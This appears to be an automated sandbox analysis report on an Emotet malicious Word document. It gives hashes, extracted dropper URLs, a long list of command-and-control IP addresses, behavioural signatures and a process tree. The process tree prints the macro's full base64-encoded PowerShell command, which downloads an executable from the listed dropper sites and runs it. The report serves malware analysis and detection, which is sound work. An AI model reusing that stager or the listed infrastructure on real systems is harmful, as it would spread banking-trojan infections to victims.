emotet | 775e429d5a487bc3419e7fa9d362bbd136cbabd2c69fe1197945413cd64ebad6

Analysis

max time kernel
135s
max time network
147s
platform
windows10_x64
resource
win10v200722
submitted
17/08/2020, 23:13

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General

Target
emotet_e3_775e429d5a487bc3419e7fa9d362bbd136cbabd2c69fe1197945413cd64ebad6_2020-08-17__231208._doc.doc
Size 234KB
Sample200817-8etjgh25ts
SHA256 775e429d5a487bc3419e7fa9d362bbd136cbabd2c69fe1197945413cd64ebad6
MD5 337bdda4af9b2d10653b24c5d116ce35
SHA1 259868751aada712cf10af12bbce798d0f455947
SHA512 68509cbe11542750277852dbdb0870fd14aab936864b82da996438bb337200078b0da7c051339cd673e71a195f80252a1f53cd0cd4f61bf288b7ef5e8ad20a06
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://identisoft.pt/istore/uyg0iy068972/
exe.dropper
http://digitalumesh.tech/cgi-bin/mUl/
exe.dropper
http://cidadehoje.pt/wp-includes/mDobpkdtbyht707/
exe.dropper
http://conferenceroom.ge/wp-content/kEUjjuivo101725/
exe.dropper
http://www.xindisk.com/w48o/TZJS/

Extracted

Family

emotet

186.109.104.67:80
185.86.148.68:443
139.99.157.213:8080
203.153.216.178:7080
192.163.221.191:8080
201.235.10.215:80
37.46.129.215:8080
78.189.60.109:443
77.74.78.80:443
143.95.101.72:8080
188.251.213.180:443
31.146.61.34:80
190.53.144.120:80
105.209.235.113:8080
115.78.11.155:80
172.96.190.154:8080
50.116.78.109:8080
188.0.135.237:80
179.62.238.49:80
197.83.232.19:80
92.24.51.238:80
115.165.3.213:80
177.144.130.105:443
139.59.12.63:8080
107.161.30.122:8080
182.176.95.147:80
181.134.9.162:80
179.5.118.12:80
198.57.203.63:8080
51.38.201.19:7080
187.64.128.197:80
176.9.93.82:7080
115.79.195.246:80
46.105.131.68:8080
91.83.93.103:443
87.106.231.60:8080
195.201.56.70:8080
185.142.236.163:443
181.114.114.203:80
192.241.220.183:8080
182.187.139.200:8080
217.199.160.224:8080
190.190.15.20:80
46.32.229.152:8080
202.5.47.71:80
71.57.180.213:80
178.33.167.120:8080
181.113.229.139:443
66.61.94.36:80
216.75.37.196:8080
86.57.216.23:80
74.208.173.91:8080
81.214.253.80:443
172.105.78.244:8080
157.7.164.178:8081
185.208.226.142:8080
177.94.227.143:80
105.213.67.88:80
97.104.107.190:80
5.79.70.250:8080
75.127.14.170:8080
81.17.93.134:80
41.185.29.128:8080
190.212.140.6:80
113.161.148.81:80
177.32.8.85:80
105.184.233.166:80
201.213.177.139:80
177.37.81.212:443
192.210.217.94:8080
190.164.75.175:80
41.84.237.198:443
212.112.113.235:80
203.153.216.182:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	636	1952	powersheLL.exe	66

Emotet Payload 5 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2076-16-0x00000000006F0000-0x00000000006FC000-memory.dmp	emotet
behavioral2/memory/2076-16-0x00000000006F0000-0x00000000006FC000-memory.dmp	emotet
behavioral2/memory/2532-19-0x00000000008B0000-0x00000000008BC000-memory.dmp	emotet
behavioral2/memory/2532-19-0x00000000008B0000-0x00000000008BC000-memory.dmp	emotet
behavioral2/memory/2076-23-0x0000000000000000-mapping.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
6	636	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2076	Xa00ecv.exe
2532	dmvdsitf.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\sort\dmvdsitf.exe	Xa00ecv.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3024	2076	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2816	WINWORD.EXE
2816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
636	powersheLL.exe
636	powersheLL.exe
636	powersheLL.exe
2532	dmvdsitf.exe
2532	dmvdsitf.exe
3024	WerFault.exe
3024	WerFault.exe
3024	WerFault.exe
3024	WerFault.exe
3024	WerFault.exe
3024	WerFault.exe
3024	WerFault.exe
3024	WerFault.exe
3024	WerFault.exe
3024	WerFault.exe
3024	WerFault.exe
3024	WerFault.exe
3024	WerFault.exe
3024	WerFault.exe
2532	dmvdsitf.exe
2532	dmvdsitf.exe
2532	dmvdsitf.exe
2532	dmvdsitf.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	636	powersheLL.exe
Token: SeRestorePrivilege	3024	WerFault.exe
Token: SeBackupPrivilege	3024	WerFault.exe
Token: SeDebugPrivilege	3024	WerFault.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2076	Xa00ecv.exe
2076	Xa00ecv.exe
2532	dmvdsitf.exe
2532	dmvdsitf.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 636 wrote to memory of 2076	636	powersheLL.exe	72
PID 636 wrote to memory of 2076	636	powersheLL.exe	72
PID 636 wrote to memory of 2076	636	powersheLL.exe	72
PID 2076 wrote to memory of 2532	2076	Xa00ecv.exe	73
PID 2076 wrote to memory of 2532	2076	Xa00ecv.exe	73
PID 2076 wrote to memory of 2532	2076	Xa00ecv.exe	73

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_775e429d5a487bc3419e7fa9d362bbd136cbabd2c69fe1197945413cd64ebad6_2020-08-17__231208._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2816

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABUADUAaQByADIAMgB3AD0AKAAnAEcAMgA0AGUANgBoACcAKwAnADUAJwApADsAJgAoACcAbgBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBOAFYAOgB0AEUAbQBwAFwATwBGAGYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBjAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAVQBgAFIAaQB0AFkAcAByAE8AYABUAE8AYwBvAGwAIgAgAD0AIAAoACcAdABsAHMAMQAyACwAIAAnACsAJwB0AGwAcwAnACsAJwAxADEALAAnACsAJwAgACcAKwAnAHQAbABzACcAKQA7ACQAVABwAHcAbwAxAGIAMgAgAD0AIAAoACcAWABhADAAMABlAGMAJwArACcAdgAnACkAOwAkAEIAMwA2AHoAaAA1ADYAPQAoACcATQBuAGMAJwArACcAMgA1AHcAagAnACkAOwAkAFQAcABoAG0AdQB6AHkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9AE8AZgAnACsAJwBmAGkAJwArACcAYwBlADIAMAAxACcAKwAnADkAJwArACcAewAwAH0AJwApAC0ARgAgACAAWwBjAEgAQQBSAF0AOQAyACkAKwAkAFQAcAB3AG8AMQBiADIAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAFYAOABkADUANwB0AGkAPQAoACcAUAAnACsAJwBlACcAKwAnAHMAegBkADMAZQAnACkAOwAkAE8AMABhAHoAbwBtAG8APQAmACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAGkAZQBuAFQAOwAkAEgAMQA2AHcAZQA1AGgAPQAoACcAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwBpAGQAZQBuAHQAaQBzAG8AJwArACcAZgAnACsAJwB0AC4AJwArACcAcAAnACsAJwB0AC8AJwArACcAaQBzAHQAbwByAGUALwB1AHkAZwAwAGkAJwArACcAeQAnACsAJwAwADYAJwArACcAOAAnACsAJwA5ACcAKwAnADcAMgAvACoAJwArACcAaAB0AHQAcAA6AC8ALwBkAGkAZwAnACsAJwBpACcAKwAnAHQAJwArACcAYQBsAHUAbQBlACcAKwAnAHMAaAAuAHQAZQAnACsAJwBjAGgAJwArACcALwBjAGcAJwArACcAaQAtAGIAJwArACcAaQBuAC8AbQBVAGwALwAqAGgAdAB0AHAAOgAvAC8AYwBpACcAKwAnAGQAYQBkAGUAaABvACcAKwAnAGoAZQAuAHAAdAAvACcAKwAnAHcAcAAtAGkAbgBjAGwAJwArACcAdQBkAGUAcwAvAG0ARABvAGIAcABrACcAKwAnAGQAdAAnACsAJwBiACcAKwAnAHkAaAB0ADcAMAA3AC8AKgAnACsAJwBoAHQAdABwADoALwAnACsAJwAvAGMAJwArACcAbwBuACcAKwAnAGYAZQAnACsAJwByACcAKwAnAGUAbgBjAGUAJwArACcAcgAnACsAJwBvAG8AbQAnACsAJwAuAGcAZQAnACsAJwAvAHcAcAAnACsAJwAtAGMAbwBuACcAKwAnAHQAZQBuAHQALwBrAEUAJwArACcAVQBqAGoAdQBpAHYAbwAnACsAJwAxADAAMQA3ADIAJwArACcANQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6AC8ALwAnACsAJwB3AHcAdwAuAHgAaQAnACsAJwBuACcAKwAnAGQAaQBzAGsALgBjAG8AbQAvAHcANAA4AG8ALwBUAFoAJwArACcASgBTACcAKwAnAC8AJwApAC4AIgBTAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAeQBwAF8ANwA4AGMAPQAoACcAWAAyAHgAJwArACcAcwBmACcAKwAnAGQAeQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABDAGkAdwA1AHYAYwBjACAAaQBuACAAJABIADEANgB3AGUANQBoACkAewB0AHIAeQB7ACQATwAwAGEAegBvAG0AbwAuACIAZABPAHcAYABOAEwAbwBBAEQAZgBgAEkAbABFACIAKAAkAEMAaQB3ADUAdgBjAGMALAAgACQAVABwAGgAbQB1AHoAeQApADsAJABVAF8AZQBoADAAMwAxAD0AKAAnAE4AJwArACcAbQBlAGQAbQBnADAAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFQAcABoAG0AdQB6AHkAKQAuACIAbABlAE4AYABnAFQASAAiACAALQBnAGUAIAAzADQAMgA0ADcAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAJwArACcAbwBrAGUALQBJAHQAZQBtACcAKQAoACQAVABwAGgAbQB1AHoAeQApADsAJABKAHMAZwBnAGoAZAA5AD0AKAAnAFIAOAAnACsAJwBlACcAKwAnADgAMgBvAHMAJwApADsAYgByAGUAYQBrADsAJABFADgAZQB4ADgAMQBzAD0AKAAnAFgAcQB1ACcAKwAnADQAMABkADIAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAGoAMwB3AHMAZQB0AD0AKAAnAEYAJwArACcAbgBrADYAdgB4ADQAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:636
- C:\Users\Admin\AppData\Local\Temp\Office2019\Xa00ecv.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Xa00ecv.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\SysWOW64\sort\dmvdsitf.exe
    "C:\Windows\SysWOW64\sort\dmvdsitf.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2532
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2076 -s 900
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3024

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/636-10-0x00007FF99DCD0000-0x00007FF99E6BC000-memory.dmp

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memory/636-12-0x00000170C1D80000-0x00000170C1D81000-memory.dmp

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memory/636-11-0x00000170C1AA0000-0x00000170C1AA1000-memory.dmp

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memory/2076-16-0x00000000006F0000-0x00000000006FC000-memory.dmp

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memory/2532-19-0x00000000008B0000-0x00000000008BC000-memory.dmp

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memory/2816-0-0x00007FF9AA500000-0x00007FF9AABC6000-memory.dmp

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memory/2816-6-0x0000026899C2E000-0x0000026899C3F000-memory.dmp

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memory/2816-5-0x0000026899C2E000-0x0000026899C3F000-memory.dmp

Download

memory/2816-7-0x0000026899C2B000-0x0000026899C2E000-memory.dmp

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memory/2816-1-0x000002689AA60000-0x000002689AA64000-memory.dmp

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memory/2816-9-0x0000026897CF2000-0x0000026897CF6000-memory.dmp

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memory/2816-8-0x0000026899C2B000-0x0000026899C2E000-memory.dmp

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memory/3024-20-0x0000000004300000-0x0000000004301000-memory.dmp

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memory/3024-21-0x0000000004300000-0x0000000004301000-memory.dmp

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memory/3024-24-0x0000000004930000-0x0000000004931000-memory.dmp

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